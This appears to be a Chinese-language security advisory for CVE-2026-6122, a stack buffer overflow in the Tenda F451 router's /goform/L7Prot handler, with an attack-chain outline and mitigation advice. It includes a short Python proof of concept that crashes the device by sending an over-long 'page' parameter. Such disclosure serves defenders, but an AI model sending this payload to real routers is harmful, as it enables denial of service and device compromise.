IPBUF安全漏洞报告
English
CVE-2026-6122 CVSS 8.8 高危

CVE-2026-6122 Tenda F451栈溢出漏洞

披露日期: 2026-04-12

漏洞信息

漏洞编号
CVE-2026-6122
漏洞类型
缓冲区溢出
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Tenda F451

相关标签

缓冲区溢出RCETendaIoT路由器

漏洞概述

Tenda F451 1.0.0.7版本存在高危栈溢出漏洞。攻击者可利用httpd组件/goform/L7Prot接口的page参数漏洞,通过构造恶意数据包远程触发缓冲区溢出,从而可能导致设备被控制或拒绝服务。

技术细节

该漏洞位于Tenda F451路由器固件1.0.0.7版本的httpd服务中。在处理/goform/L7Prot请求时,frmL7ProtForm函数未对传入的page参数进行严格的长度校验,导致存在基于栈的缓冲区溢出。由于攻击复杂度低且无需用户交互,远程攻击者可发送特制的HTTP POST请求,向page参数注入超长字符串覆盖栈返回地址。成功利用后,攻击者可在系统上下文中执行任意代码,完全控制设备,严重影响系统的机密性、完整性和可用性。

攻击链分析

STEP 1
1. 信息收集
攻击者扫描网络,识别存在Tenda F451路由器及其Web管理接口。
STEP 2
2. 漏洞利用
攻击者向/goform/L7Prot接口发送包含超长'page'参数的恶意POST数据包。
STEP 3
3. 触发溢出
由于未检查边界,超长数据覆盖栈帧返回地址,改变程序执行流。
STEP 4
4. 执行代码
CPU跳转至攻击者控制的Shellcode,以Root权限执行任意命令。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def exploit(target_ip): # Target endpoint url = f"http://{target_ip}/goform/L7Prot" # Malicious payload to trigger stack overflow # The exact offset needs to be determined through fuzzing payload = { "page": "A" * 500 } try: print(f"[+] Sending payload to {url}...") response = requests.post(url, data=payload, timeout=5) print(f"[+] Response status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") print("[-] Target might have crashed (DoS)") if __name__ == "__main__": target = "192.168.0.1" # Replace with actual target IP exploit(target)

影响范围

Tenda F451 1.0.0.7

防御指南

临时缓解措施
建议用户尽快联系厂商获取安全补丁进行升级。在未修复前,应在防火墙上禁止外部网络对路由器管理界面(通常为80/443端口)的访问,仅允许可信内网IP进行管理操作。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表